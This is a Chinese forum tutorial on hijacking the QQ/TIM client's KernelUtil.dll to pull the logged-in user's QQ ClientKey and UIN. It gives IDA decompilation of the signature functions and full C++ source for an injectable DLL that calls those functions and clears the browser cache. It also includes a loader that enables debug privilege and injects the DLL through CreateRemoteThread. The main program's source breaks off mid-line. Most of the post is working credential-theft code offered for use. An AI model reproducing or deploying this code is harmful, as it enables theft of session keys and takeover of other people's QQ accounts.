笑看天下无敌手 发表于 2024-4-2 07:02:18

通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey / QQKey 详细教程

https://img2024.cnblogs.com/blog/3367775/202401/3367775-20240113103114059-1780142272.png
前言
由于 QQ 9.7.20 版本后已经不能通过模拟网页快捷登录来截取 QQClientkey / QQKey,估计是针对访问的程序做了限制,然而经过多方面测试,诸多的地区、环境、机器也针对这种获取方法做了相应的措施,导致模拟网页快捷登录来截取数据被彻底的和谐,为了解决这个问题我们只能更改思路对 KernelUtil.dll 下手。
Step 1 (第一步)
KernelUtil.dll QQ 9.7.21 (29280) 即官网最新版本
https://img2024.cnblogs.com/blog/3367775/202401/3367775-20240103170843018-802643577.png
此文件位于 *:\Program Files (x86)\Tencent\QQ\Bin\ 下
https://img2024.cnblogs.com/blog/3367775/202401/3367775-20240103170913503-1382095454.png
并于客户端成功登录后加载。
Step 2 (第二步)
IDA 附加
https://img2024.cnblogs.com/blog/3367775/202401/3367775-20240103170956816-856854085.png
定位到 KernelUtil.dll 中的函数
“?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z”
CTXStringW *__cdecl Util::Misc::GetSignature(CTXStringW *a1, int a2)
{
int v2; // eax
int v4; //
int v5; //
int v6; //
int v7; //

CTXStringW::CTXStringW(a1);
v5 = 0;
sub_55404A73(&v5);
if ( v5 )
{
    v6 = 0;
    if ( (*(int (__stdcall **)(int, int, int *))(*(_DWORD *)v5 + 60))(v5, a2, &v6) >= 0 )
    {
      v7 = 0;
      sub_5536126A(&v7, v6);
      v2 = Util::Encode::Encode16(&v4, &v7);
      CTXStringW::operator=(a1, v2);
      CTXStringW::~CTXStringW((CTXStringW *)&v4);
      if ( v7 )
      (*(void (__stdcall **)(int))(*(_DWORD *)v7 + 8))(v7);
    }
    sub_5540C87C(&v6);
}
sub_5540C87C(&v5);
return a1;
}参数 1 为 缓存区 返回结果指针。
参数 2 为 传入参数的指针。
.text:55416CFC ; class CTXStringW __cdecl Util::Misc::Get32ByteValueAddedSign(void)
.text:55416CFC               public ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ
.text:55416CFC ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ proc near
.text:55416CFC                                       ; CODE XREF: Util::URL::AdjustUrl(CTXStringW const &,Util::URL::URLMODIFYLEVEL,CTXStringW const &,wchar_t const *)+A8↓p
.text:55416CFC                                       ; Util::URL::GetKeyFmt(CFmtString &)+21↓p ...
.text:55416CFC               push    ebp
.text:55416CFD               mov   ebp, esp
.text:55416CFF               push    offset aBuf32bytevalue ; "buf32ByteValueAddedSignature"
.text:55416D04               push    dword ptr
.text:55416D07               call    ?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z ; Util::Misc::GetSignature(char const *)
.text:55416D0C               mov   eax,
.text:55416D0F               pop   ecx
.text:55416D10               pop   ecx
.text:55416D11               pop   ebp
.text:55416D12               retn
.text:55416D12 ?Get32ByteValueAddedSign@Misc@Util@@YA?AVCTXStringW@@XZ endpCTXStringW *__cdecl Util::Misc::Get32ByteValueAddedSign(CTXStringW *a1)
{
Util::Misc::GetSignature(a1, (int)"buf32ByteValueAddedSignature");
return a1;
}Get32ByteValueAddedSign 获取当前登录客户端 Clientkey。
int __fastcall Util::Contact::GetSelfUin(int a1)
{
int result; // eax
int v2; // esi
int v3; //

v3 = a1;
result = dword_554F12AC;
if ( !dword_554F12AC )
{
    v3 &= dword_554F12AC;
    sub_55404A73(&v3);
    if ( v3 )
      (*(void (__stdcall **)(int, int *))(*(_DWORD *)v3 + 48))(v3, &dword_554F12AC);
    v2 = dword_554F12AC;
    sub_5540C87C(&v3);
    result = v2;
}
return result;
}GetSelfUin 获取当前登录客户端 Uin。
.text:55405EA9               public ?GetSelfUin@Contact@Util@@YAKXZ
.text:55405EA9 ?GetSelfUin@Contact@Util@@YAKXZ proc near
.text:55405EA9                                       ; CODE XREF: .text:5535A2FE↑p
.text:55405EA9                                       ; .text:5535A921↑p ...
.text:55405EA9               push    ebp
.text:55405EAA               mov   ebp, esp
.text:55405EAC               push    ecx
.text:55405EAD               mov   eax, dword_554F12AC
.text:55405EB2               test    eax, eax
.text:55405EB4               jnz   short loc_55405EE7
.text:55405EB6               and   , eax
.text:55405EB9               lea   eax,
.text:55405EBC               push    eax
.text:55405EBD               call    sub_55404A73
.text:55405EC2               mov   eax,
.text:55405EC5               pop   ecx
.text:55405EC6               test    eax, eax
.text:55405EC8               jz      short loc_55405ED5
.text:55405ECA               mov   ecx,
.text:55405ECC               push    offset dword_554F12AC
.text:55405ED1               push    eax
.text:55405ED2               call    dword ptr
.text:55405ED5
.text:55405ED5 loc_55405ED5:                           ; CODE XREF: Util::Contact::GetSelfUin(void)+1F↑j
.text:55405ED5               push    esi
.text:55405ED6               mov   esi, dword_554F12AC
.text:55405EDC               lea   ecx,
.text:55405EDF               call    sub_5540C87C
.text:55405EE4               mov   eax, esi
.text:55405EE6               pop   esi
.text:55405EE7
.text:55405EE7 loc_55405EE7:                           ; CODE XREF: Util::Contact::GetSelfUin(void)+B↑j
.text:55405EE7               mov   esp, ebp
.text:55405EE9               pop   ebp
.text:55405EEA               retn
.text:55405EEA ?GetSelfUin@Contact@Util@@YAKXZ endpStep 3 (第三步)
我们了解过程后便可以通过加载 GetModuleHandle("KernelUtil.dll") 调用相应函数自动截取。
        ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
        if (fnGetSelfUin == NULL)
        {
                OutputDebugStringA("Get GetSelfUin Function failed \n");
                return FALSE;
        }

    // 获取 UIN
        ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
        if (currentQQ == NULL)
        {
                OutputDebugStringA("Invoke GetSelfUin Function failed \n");
                return FALSE;
        }

        PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
        if (GetSignature == NULL)
        {
                OutputDebugStringA("Get GetSignature Function failed \n");
                return FALSE;
        }
       
    // 获取 Clientkey
        PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
        if (res == NULL)
        {
                OutputDebugStringA("Invoke GetSignature Function failed \n");
                return FALSE;
        }https://img2024.cnblogs.com/blog/3367775/202401/3367775-20240103171229755-392496103.png
实现代码
DLL
点击查看代码// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"



using namespace std;

char szUin = { 0 };
char szClientkey = { 0 };



BOOL DelTempFiles();

BOOL GetQQClientKeys();

static DWORD WINAPI MainProcess(LPVOID pParam);


// 清理缓存

BOOL DelTempFiles()
{
        // 清理 DNS 缓存
        ShellExecute(NULL, "open", "ipconfig.exe", "/flushdns", NULL, SW_HIDE);

        BOOL bResult = FALSE;
        BOOL bDone = FALSE;

        LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry = NULL;

        DWORDdwTrySize, dwEntrySize = 4096; // start buffer size
        HANDLE hCacheDir = NULL;
        DWORDdwError = ERROR_INSUFFICIENT_BUFFER;

        do
        {
                switch (dwError)
                {
                        // need a bigger buffer
                case ERROR_INSUFFICIENT_BUFFER:
                        delete[] lpCacheEntry;
                        lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO) new char;
                        lpCacheEntry->dwStructSize = dwEntrySize;
                        dwTrySize = dwEntrySize;
                        BOOL bSuccess;
                        if (hCacheDir == NULL)
                                bSuccess = (hCacheDir
                                        = FindFirstUrlCacheEntry(NULL, lpCacheEntry,
                                                &dwTrySize)) != NULL;
                        else
                                bSuccess = FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize);

                        if (bSuccess)
                                dwError = ERROR_SUCCESS;
                        else
                        {
                                dwError = GetLastError();
                                dwEntrySize = dwTrySize; // use new size returned
                        }
                        break;

                        // we are done
                case ERROR_NO_MORE_ITEMS:
                        bDone = TRUE;
                        bResult = TRUE;
                        break;

                        // we have got an entry
                case ERROR_SUCCESS:
                        // don't delete cookie entry
                        if (!(lpCacheEntry->CacheEntryType & COOKIE_CACHE_ENTRY))
                                DeleteUrlCacheEntry(lpCacheEntry->lpszSourceUrlName);

                        // get ready for next entry
                        dwTrySize = dwEntrySize;
                        if (FindNextUrlCacheEntry(hCacheDir, lpCacheEntry, &dwTrySize))
                                dwError = ERROR_SUCCESS;
                        else
                        {
                                dwError = GetLastError();
                                dwEntrySize = dwTrySize; // use new size returned
                        }
                        break;

                        // unknown error
                default:
                        bDone = TRUE;
                        break;
                }

                if (bDone)
                {
                        delete[]lpCacheEntry;
                        if (hCacheDir)
                                FindCloseUrlCache(hCacheDir);
                }
        } while (!bDone);

        return TRUE;
}



BOOL GetQQClientKeys()
{
        // 清理缓存与DNS
        DelTempFiles();

        ZeroMemory(szUin, MAX_PATH);
        ZeroMemory(szClientkey, MAX_PATH);

        HMODULE hKernelUtil = GetModuleHandle("KernelUtil.dll");
        if (hKernelUtil == NULL)
        {
                OutputDebugStringA("Get KernelUtil Module failed \n");
                return FALSE;
        }

        ULONG fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");
        if (fnGetSelfUin == NULL)
        {
                OutputDebugStringA("Get GetSelfUin Function failed \n");
                return FALSE;
        }

        ULONG currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
        if (currentQQ == NULL)
        {
                OutputDebugStringA("Invoke GetSelfUin Function failed \n");
                return FALSE;
        }

        sprintf(szUin, "%u", currentQQ);

        PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
        if (GetSignature == NULL)
        {
                OutputDebugStringA("Get GetSignature Function failed \n");
                return FALSE;
        }
       
        PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");
        if (res == NULL)
        {
                OutputDebugStringA("Invoke GetSignature Function failed \n");
                return FALSE;
        }

        sprintf(szClientkey, "%ws", ClientKey);

        return TRUE;
}



BOOL APIENTRY DllMain( HMODULE hModule,
                     DWORDul_reason_for_call,
                     LPVOID lpReserved
                                       )
{
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
                HANDLE hThread1;
                hThread1 = CreateThread(NULL, 0, MainProcess, NULL, 0, NULL);
                break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
                break;
        }
        return TRUE;
}


// 主线程模块

static DWORD WINAPI MainProcess(LPVOID pParam)
{
        if (GetQQClientKeys())
        {
                MessageBox(NULL, "获取数据成功。", "注意", NULL);
    }
        return 0;
}主程序
点击查看代码// Main.cpp : 定义控制台应用程序的入口点。// #include "stdafx.h" #ifdef _DEBUG#define new DEBUG_NEW#endif   BOOL AdjustPrivileges(); BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID);    // 唯一的应用程序对象 CWinApp theApp; using namespace std;   BOOL AdjustPrivileges(){        HANDLE hToken = NULL;        TOKEN_PRIVILEGES tp = { 0 };        TOKEN_PRIVILEGES oldtp = { 0 };        DWORD dwSize = sizeof(TOKEN_PRIVILEGES);        LUID luid = { 0 };         if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {                return FALSE;        }         if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {                CloseHandle(hToken);                return FALSE;        }         tp.PrivilegeCount = 1;        tp.Privileges.Luid = luid;        tp.Privileges.Attributes = SE_PRIVILEGE_ENABLED;         /* Adjust Token Privileges */        if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), &oldtp, &dwSize)) {                CloseHandle(hToken);                return FALSE;        }         // close handles        CloseHandle(hToken);        return TRUE;}   BOOL injectDLL(TCHAR* DLLName, DWORD ProcessID){        if (AdjustPrivileges())        {                HANDLE hOprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);                if (hOprocess != NULL)                {                        _TCHAR* pLibFileRemote = (_TCHAR*)VirtualAllocEx(hOprocess, NULL, 2 * strlen(DLLName) + 1, MEM_COMMIT, PAGE_READWRITE);                        if (pLibFileRemote != NULL)                        {                                if (!WriteProcessMemory(hOprocess, (void*)pLibFileRemote, DLLName, 2 * strlen(DLLName) + 1, NULL))                                        return FALSE;                                 //Get LoadLibraryW Address                                PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryA");                                if (pfnStartAddr != NULL)                                {                                        HANDLE hRemote = CreateRemoteThread(hOprocess, NULL, 0, pfnStartAddr, (PVOID)pLibFileRemote, 0, NULL);                                        if (hRemote != NULL)                                        {                                                CloseHandle(hRemote);                                                CloseHandle(hOprocess);                                                 return TRUE;                                        }                                }                        }                }                CloseHandle(hOprocess);        }        return FALSE;}   int main(){        if (!injectDLL(“D:\\QQKey.dll”, 8888))        {                cout
页: [1]
查看完整版本: 通过 KernelUtil.dll 劫持 QQ / TIM 客户端 QQClientkey / QQKey 详细教程